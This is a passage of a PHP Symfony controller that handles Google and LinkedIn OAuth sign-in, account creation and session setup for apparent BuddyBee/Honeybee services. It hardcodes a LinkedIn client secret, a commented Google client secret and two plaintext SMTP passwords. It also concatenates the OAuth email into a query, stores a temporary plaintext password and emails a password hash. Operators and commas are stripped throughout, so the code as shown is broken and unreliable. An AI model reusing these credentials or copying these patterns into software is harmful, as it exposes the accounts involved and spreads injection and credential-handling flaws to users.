  7228.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7229.                 $isApplicantExist $applicantRepo->findOneBy([
  7230.                     'applicantId' => $sessionUserId
  7231.                 ]);
  7232.             } else
  7233.                 return $this->redirectToRoute($redirectRoute);
  7234.         }
  7235.         $google_client = new Google_Client();
  7236. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  7237. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  7238.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  7239.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  7240.         } else {
  7241.             $url $this->generateUrl(
  7242.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  7243.             );
  7244.         }
  7245.         $selector BuddybeeConstant::$selector;
  7246.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  7247.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  7248. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  7249. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  7250.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  7251. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  7252.         $google_client->setRedirectUri($url);
  7253.         $google_client->setAccessType('offline');        // offline access
  7254.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  7255.         $google_client->addScope('email');
  7256.         $google_client->addScope('profile');
  7257.         $google_client->addScope('openid');
  7258. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  7259.         //linked in 1st
  7260.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  7261.             $curl curl_init();
  7262.             curl_setopt_array($curl, array(
  7263.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  7264.                 CURLOPT_HEADER => false,  // don't return headers
  7265.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7266.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7267.                 CURLOPT_ENCODING => "",     // handle compressed
  7268.                 CURLOPT_USERAGENT => "test"// name of client
  7269.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7270.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7271.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  7272.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  7273.                 CURLOPT_USERAGENT => 'InnoPM',
  7274.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  7275.                 CURLOPT_POST => 1,
  7276.                 CURLOPT_HTTPHEADER => array(
  7277.                     'Content-Type: application/x-www-form-urlencoded'
  7278.                 )
  7279.             ));
  7280.             $content curl_exec($curl);
  7281.             $contentArray = [];
  7282.             curl_close($curl);
  7283.             $token false;
  7284. //      return new JsonResponse(array(
  7285. //          'content'=>$content,
  7286. //          'contentArray'=>json_decode($content,true),
  7287. //
  7288. //      ));
  7289.             if ($content) {
  7290.                 $contentArray json_decode($contenttrue);
  7291.                 $token $contentArray['access_token'];
  7292.             }
  7293.             if ($token) {
  7294.                 $applicantInfo = [];
  7295.                 $curl curl_init();
  7296.                 curl_setopt_array($curl, array(
  7297.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7298.                     CURLOPT_HEADER => false,  // don't return headers
  7299.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7300.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7301.                     CURLOPT_ENCODING => "",     // handle compressed
  7302.                     CURLOPT_USERAGENT => "test"// name of client
  7303.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7304.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7305.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7306.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  7307.                     CURLOPT_USERAGENT => 'InnoPM',
  7308.                     CURLOPT_HTTPGET => 1,
  7309.                     CURLOPT_HTTPHEADER => array(
  7310.                         'Authorization: Bearer ' $token,
  7311.                         'Header-Key-2: Header-Value-2'
  7312.                     )
  7313.                 ));
  7314.                 $userGeneralcontent curl_exec($curl);
  7315.                 curl_close($curl);
  7316.                 if ($userGeneralcontent) {
  7317.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  7318.                 }
  7319.                 $curl curl_init();
  7320.                 curl_setopt_array($curl, array(
  7321.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  7322.                     CURLOPT_HEADER => false,  // don't return headers
  7323.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  7324.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  7325.                     CURLOPT_ENCODING => "",     // handle compressed
  7326.                     CURLOPT_USERAGENT => "test"// name of client
  7327.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  7328.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  7329.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  7330.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  7331. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  7332.                     CURLOPT_USERAGENT => 'InnoPM',
  7333.                     CURLOPT_HTTPGET => 1,
  7334.                     CURLOPT_HTTPHEADER => array(
  7335.                         'Authorization: Bearer ' $token,
  7336.                         'Header-Key-2: Header-Value-2'
  7337.                     )
  7338.                 ));
  7339.                 $userEmailcontent curl_exec($curl);
  7340.                 curl_close($curl);
  7341.                 $token false;
  7342.                 if ($userEmailcontent) {
  7343.                     $userEmailcontent json_decode($userEmailcontenttrue);
  7344.                 }
  7345. //        $oAuthEmail = $applicantInfo['email'];
  7346. //        return new JsonResponse(array(
  7347. //          'userEmailcontent'=>$userEmailcontent,
  7348. //          'userGeneralcontent'=>$userGeneralcontent,
  7349. //        ));
  7350. //        return new response($userGeneralcontent);
  7351.                 $oAuthData = [
  7352.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7353.                     'uniqueId' => $userGeneralcontent['id'],
  7354.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  7355.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  7356.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  7357.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  7358.                     'lastName' => $userGeneralcontent['localizedLastName'],
  7359.                     'type' => 1,
  7360.                     'token' => $token,
  7361.                 ];
  7362.             }
  7363.         } else if (isset($_GET["code"])) {
  7364.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  7365.             if (!isset($token['error'])) {
  7366.                 $google_client->setAccessToken($token['access_token']);
  7367.                 $google_service = new Google_Service_Oauth2($google_client);
  7368.                 $applicantInfo $google_service->userinfo->get();
  7369.                 $oAuthEmail $applicantInfo['email'];
  7370.                 $oAuthData = [
  7371.                     'email' => $applicantInfo['email'],
  7372.                     'uniqueId' => $applicantInfo['id'],
  7373.                     'image' => $applicantInfo['picture'],
  7374.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7375.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7376.                     'firstName' => $applicantInfo['givenName'],
  7377.                     'lastName' => $applicantInfo['familyName'],
  7378.                     'type' => $token['token_type'],
  7379.                     'token' => $token['access_token'],
  7380.                 ];
  7381.             }
  7382.         } else if (isset($_GET["access_token"])) {
  7383.             $token $_GET["access_token"];
  7384.             $tokenType $_GET["token_type"];
  7385.             if (!isset($token['error'])) {
  7386.                 $google_client->setAccessToken($token);
  7387.                 $google_service = new Google_Service_Oauth2($google_client);
  7388.                 $applicantInfo $google_service->userinfo->get();
  7389.                 $oAuthEmail $applicantInfo['email'];
  7390.                 $oAuthData = [
  7391.                     'email' => $applicantInfo['email'],
  7392.                     'uniqueId' => $applicantInfo['id'],
  7393.                     'image' => $applicantInfo['picture'],
  7394.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  7395.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  7396.                     'firstName' => $applicantInfo['givenName'],
  7397.                     'lastName' => $applicantInfo['familyName'],
  7398.                     'type' => $tokenType,
  7399.                     'token' => $token,
  7400.                 ];
  7401.             }
  7402.         }
  7403.         if ($oAuthData['email'] != '' || $oAuthData['uniqueId'] != '') {
  7404.             $isApplicantExist $applicantRepo->findOneBy([
  7405.                 'email' => $oAuthData['email']
  7406.             ]);
  7407.             if (!$isApplicantExist && $oAuthData['uniqueId'] != '') {
  7408.                 $isApplicantExist $applicantRepo->findOneBy([
  7409.                     'oAuthUniqueId' => $oAuthData['uniqueId']
  7410.                 ]);
  7411.             }
  7412.             if (!$isApplicantExist) {
  7413.                 $usersQueried $em->getRepository(EntityApplicantDetails::class)->createQueryBuilder('A')
  7414.                     ->where("1=1 and (A.email like '%," $oAuthData['email'] . "' or A.email like '" $oAuthData['email'] . ",%'
  7415.                                      or A.email like '%," $oAuthData['email'] . ",%' or A.email like '" $oAuthData['email'] . "' ) ")
  7416.                     ->getQuery()
  7417.                     ->getResult();
  7418.                 if (!empty($usersQueried))
  7419.                     $isApplicantExist $usersQueried[0];
  7420.             }
  7421.             if ($isApplicantExist) {
  7422.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7423.                 } else
  7424.                     return $this->redirectToRoute("core_login", [
  7425.                         'id' => $isApplicantExist->getApplicantId(),
  7426.                         'oAuthData' => $oAuthData,
  7427.                         'encData' => $encData,
  7428.                         'locale' => $request->request->get('locale''en'),
  7429.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7430.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7431.                     ]);
  7432.             } else {
  7433.                 $fname $oAuthData['firstName'];
  7434.                 $lname $oAuthData['lastName'];
  7435.                 $img $oAuthData['image'];
  7436.                 $email $oAuthData['email'];
  7437.                 $oAuthEmail $oAuthData['email'];
  7438.                 $userName explode('@'$email)[0];
  7439.                 //now check if same username exists
  7440.                 $username_already_exist 1;
  7441.                 $initial_user_name $userName;
  7442.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  7443.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  7444.                     $isUsernameExist $applicantRepo->findOneBy([
  7445.                         'username' => $userName
  7446.                     ]);
  7447.                     if ($isUsernameExist) {
  7448.                         $username_already_exist 1;
  7449.                         $userName $initial_user_name '' rand(3009987);
  7450.                     } else {
  7451.                         $username_already_exist 0;
  7452.                     }
  7453.                     $timeoutSafeCount--;
  7454.                 }
  7455.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  7456.                     $currentUnixTimeStamp '';
  7457.                     $currentUnixTime = new \DateTime();
  7458.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  7459.                     $userName $userName '' $currentUnixTimeStamp;
  7460.                 }
  7461.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  7462.                 $charactersLength strlen($characters);
  7463.                 $length 8;
  7464.                 $password 0;
  7465.                 for ($i 0$i $length$i++) {
  7466.                     $password .= $characters[rand(0$charactersLength 1)];
  7467.                 }
  7468.                 $newApplicant = new EntityApplicantDetails();
  7469.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  7470.                 $newApplicant->setEmail($email);
  7471.                 $newApplicant->setUserName($userName);
  7472.                 $newApplicant->setFirstname($fname);
  7473.                 $newApplicant->setLastname($lname);
  7474.                 $newApplicant->setOAuthEmail($oAuthEmail);
  7475.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  7476.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  7477.                 $newApplicant->setAccountStatus(1);
  7478.                 $salt uniqid(mt_rand());
  7479.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  7480.                 $newApplicant->setPassword($encodedPassword);
  7481.                 $newApplicant->setSalt($salt);
  7482.                 $newApplicant->setTempPassword($password);;
  7483. //                $newApplicant->setPassword($password);
  7484.                 $marker $userName '-' time();
  7485. //                $extension_here=$uploadedFile->guessExtension();
  7486. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  7487. //                $path = $fileName;
  7488.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  7489.                 if (!file_exists($upl_dir)) {
  7490.                     mkdir($upl_dir0777true);
  7491.                 }
  7492.                 $ch curl_init($img);
  7493.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  7494.                 curl_setopt($chCURLOPT_FILE$fp);
  7495.                 curl_setopt($chCURLOPT_HEADER0);
  7496.                 curl_exec($ch);
  7497.                 curl_close($ch);
  7498.                 fclose($fp);
  7499.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  7500. //                $newApplicant->setImage($img);
  7501.                 $newApplicant->setIsConsultant(0);
  7502.                 $newApplicant->setIsTemporaryEntry(0);
  7503.                 $newApplicant->setApplyForConsultant(0);
  7504.                 $em->persist($newApplicant);
  7505.                 $em->flush();
  7506.                 $isApplicantExist $newApplicant;
  7507.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  7508.                     if ($systemType == '_BUDDYBEE_') {
  7509.                         $bodyHtml '';
  7510.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  7511.                         $bodyData = array(
  7512.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7513.                             'email' => $userName,
  7514.                             'password' => $newApplicant->getPassword(),
  7515.                         );
  7516.                         $attachments = [];
  7517.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7518. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7519.                         $new_mail $this->get('mail_module');
  7520.                         $new_mail->sendMyMail(array(
  7521.                             'senderHash' => '_CUSTOM_',
  7522.                             //                        'senderHash'=>'_CUSTOM_',
  7523.                             'forwardToMailAddress' => $forwardToMailAddress,
  7524.                             'subject' => 'Welcome to BuddyBee ',
  7525. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7526.                             'attachments' => $attachments,
  7527.                             'toAddress' => $forwardToMailAddress,
  7528.                             'fromAddress' => 'registration@buddybee.eu',
  7529.                             'userName' => 'registration@buddybee.eu',
  7530.                             'password' => 'Y41dh8g0112',
  7531.                             'smtpServer' => 'smtp.hostinger.com',
  7532.                             'smtpPort' => 465,
  7533.                             'encryptionMethod' => 'ssl',
  7534. //                            'emailBody' => $bodyHtml,
  7535.                             'mailTemplate' => $bodyTemplate,
  7536.                             'templateData' => $bodyData,
  7537. //                        'embedCompanyImage' => 1,
  7538. //                        'companyId' => $companyId,
  7539. //                        'companyImagePath' => $company_data->getImage()
  7540.                         ));
  7541.                     } else {
  7542.                         $bodyHtml '';
  7543.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  7544.                         $bodyData = array(
  7545.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  7546.                             'email' => 'APP-' $userName,
  7547.                             'password' => $newApplicant->getPassword(),
  7548.                         );
  7549.                         $attachments = [];
  7550.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  7551. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  7552.                         $new_mail $this->get('mail_module');
  7553.                         $new_mail->sendMyMail(array(
  7554.                             'senderHash' => '_CUSTOM_',
  7555.                             //                        'senderHash'=>'_CUSTOM_',
  7556.                             'forwardToMailAddress' => $forwardToMailAddress,
  7557.                             'subject' => 'Applicant Registration on Honeybee',
  7558. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  7559.                             'attachments' => $attachments,
  7560.                             'toAddress' => $forwardToMailAddress,
  7561.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  7562.                             'userName' => 'accounts@ourhoneybee.eu',
  7563.                             'password' => 'Honeybee@0112',
  7564.                             'smtpServer' => 'smtp.hostinger.com',
  7565.                             'smtpPort' => 465,
  7566.                             'encryptionMethod' => 'ssl',
  7567. //                            'emailBody' => $bodyHtml,
  7568.                             'mailTemplate' => $bodyTemplate,
  7569.                             'templateData' => $bodyData,
  7570. //                        'embedCompanyImage' => 1,
  7571. //                        'companyId' => $companyId,
  7572. //                        'companyImagePath' => $company_data->getImage()
  7573.                         ));
  7574.                     }
  7575.                 }
  7576.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7577.                 } else {
  7578.                     return $this->redirectToRoute("core_login", [
  7579.                         'id' => $newApplicant->getApplicantId(),
  7580.                         'oAuthData' => $oAuthData,
  7581.                         'encData' => $encData,
  7582.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  7583.                         'locale' => $request->request->get('locale''en'),
  7584.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  7585.                     ]);
  7586.                 }
  7587.             }
  7588.         }
  7589.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  7590.             if ($isApplicantExist) {
  7591.                 $user $isApplicantExist;
  7592.                 $userType UserConstants::USER_TYPE_APPLICANT;
  7593.                 $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  7594.                 $globalId $user->getApplicantId();
  7595.                 $gocList $em
  7596.                     ->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  7597.                     ->findBy(
  7598.                         array(//                        'active' => 1
  7599.                         )
  7600.                     );
  7601.                 $gocDataList = [];
  7602.                 $gocDataListForLoginWeb = [];
  7603.                 $gocDataListByAppId = [];
  7604.                 foreach ($gocList as $entry) {
  7605.                     $d = array(
  7606.                         'name' => $entry->getName(),
  7607.                         'image' => $entry->getImage(),
  7608.                         'id' => $entry->getId(),
  7609.                         'appId' => $entry->getAppId(),
  7610.                         'skipInWebFlag' => $entry->getSkipInWebFlag(),
  7611.                         'skipInAppFlag' => $entry->getSkipInAppFlag(),
  7612.                         'dbName' => $entry->getDbName(),
  7613.                         'dbUser' => $entry->getDbUser(),
  7614.                         'dbPass' => $entry->getDbPass(),
  7615.                         'dbHost' => $entry->getDbHost(),
  7616.                         'companyGroupServerAddress' => $entry->getCompanyGroupServerAddress(),
  7617.                         'companyGroupServerId' => $entry->getCompanyGroupServerId(),
  7618.                         'companyGroupServerPort' => $entry->getCompanyGroupServerPort(),
  7619.                         'companyRemaining' => $entry->getCompanyRemaining(),
  7620.                         'companyAllowed' => $entry->getCompanyAllowed(),
  7621.                     );
  7622.                     $gocDataList[$entry->getId()] = $d;
  7623.                     if (in_array($entry->getSkipInWebFlag(), [0null]))
  7624.                         $gocDataListForLoginWeb[$entry->getId()] = $d;
  7625.                     $gocDataListByAppId[$entry->getAppId()] = $d;
  7626.                 }
  7627.                 if ($userTypesByAppIds == null$userTypesByAppIds = [];
  7628.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  7629.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  7630.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  7631.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  7632.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  7633.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  7634.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  7635.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  7636.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  7637.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  7638.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  7639.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  7640.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  7641.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  7642.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  7643.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  7644.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  7645.                     $session->set(UserConstants::USER_COMPANY_ID1);
  7646.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  7647.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  7648.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7649.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  7650.                     $session->set('userCompanyVibrantList'json_encode([]));
  7651.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  7652.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  7653.                     $session->set(UserConstants::USER_APP_ID0);
  7654.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  7655.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  7656.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  7657.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  7658.                     $session->set(UserConstants::USER_GOC_ID0);
  7659.                     $session->set(UserConstants::USER_DB_NAME'');
  7660.                     $session->set(UserConstants::USER_DB_USER'');
  7661.                     $session->set(UserConstants::USER_DB_PASS'');
  7662.                     $session->set(UserConstants::USER_DB_HOST'');
  7663.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  7664.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  7665.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  7666.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  7667.                     $session->set('locale'$request->request->get('locale'''));
  7668.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  7669.                     $route_list_array = [];
  7670.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  7671.                     $loginID 0;
  7672.                     $loginID MiscActions::addEntityUserLoginLog(
  7673.                         $em,
  7674.                         $session->get(UserConstants::USER_ID),
  7675.                         $session->get(UserConstants::USER_ID),
  7676.                         1,
  7677.                         $request->server->get("REMOTE_ADDR"),
  7678.                         0,
  7679.                         $request->request->get('deviceId'''),
  7680.                         $request->request->get('oAuthToken'''),
  7681.                         $request->request->get('oAuthType'''),
  7682.                         $request->request->get('locale'''),
  7683.                         $request->request->get('firebaseToken''')
  7684.                     );
  7685.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  7686.                     $session_data = array(
  7687.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  7688.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  7689.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  7690.                         'oAuthToken' => $session->get('oAuthToken'),
  7691.                         'locale' => $session->get('locale'),
  7692.                         'firebaseToken' => $session->get('firebaseToken'),
  7693.                         'token' => $session->get('token'),
  7694.                         'firstLogin' => 0,
  7695.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  7696.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  7697.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  7698.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  7699.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  7700.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  7701.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  7702.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  7703.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  7704.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  7705.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  7706.                         'oAuthImage' => $session->get('oAuthImage'),
  7707.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  7708.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  7709.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  7710.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  7711.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  7712.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  7713.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  7714.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  7715.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  7716.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  7717.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  7718.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  7719.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  7720.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  7721.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  7722.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  7723.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  7724.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  7725.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  7726.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  7727.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  7728.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  7729.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  7730.                         //new
  7731.                         'appIdList' => $session->get('appIdList'),
  7732.                         'branchIdList' => $session->get('branchIdList'null),
  7733.                         'branchId' => $session->get('branchId'null),
  7734.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  7735.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  7736.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  7737.                     );
  7738.                     $accessList = [];
  7739. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  7740.                     foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  7741.                         foreach ($thisUserUserTypes as $thisUserUserType) {
  7742.                             if (isset($gocDataListByAppId[$thisUserAppId])) {
  7743.                                 $userTypeName = isset(UserConstants::$userTypeName[$thisUserUserType]) ? UserConstants::$userTypeName[$thisUserUserType] : 'Unknown';
  7744.                                 $d = array(
  7745.                                     'userType' => $thisUserUserType,
  7746. //                                        'userTypeName' => UserConstants::$userTypeName[$thisUserUserType],
  7747.                                     'userTypeName' => $userTypeName,
  7748.                                     'globalId' => $globalId,
  7749.                                     'serverId' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerId'],
  7750.                                     'serverUrl' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerAddress'],
  7751.                                     'serverPort' => $gocDataListByAppId[$thisUserAppId]['companyGroupServerPort'],
  7752.                                     'systemType' => '_ERP_',
  7753.                                     'companyId' => 1,
  7754.                                     'appId' => $thisUserAppId,
  7755.                                     'companyLogoUrl' => $gocDataListByAppId[$thisUserAppId]['image'],
  7756.                                     'companyName' => $gocDataListByAppId[$thisUserAppId]['name'],
  7757.                                     'authenticationStr' => $this->get('url_encryptor')->encrypt(json_encode(
  7758.                                             array(
  7759.                                                 'globalId' => $globalId,
  7760.                                                 'appId' => $thisUserAppId,
  7761.                                                 'authenticate' => 1,
  7762.                                                 'userType' => $thisUserUserType,
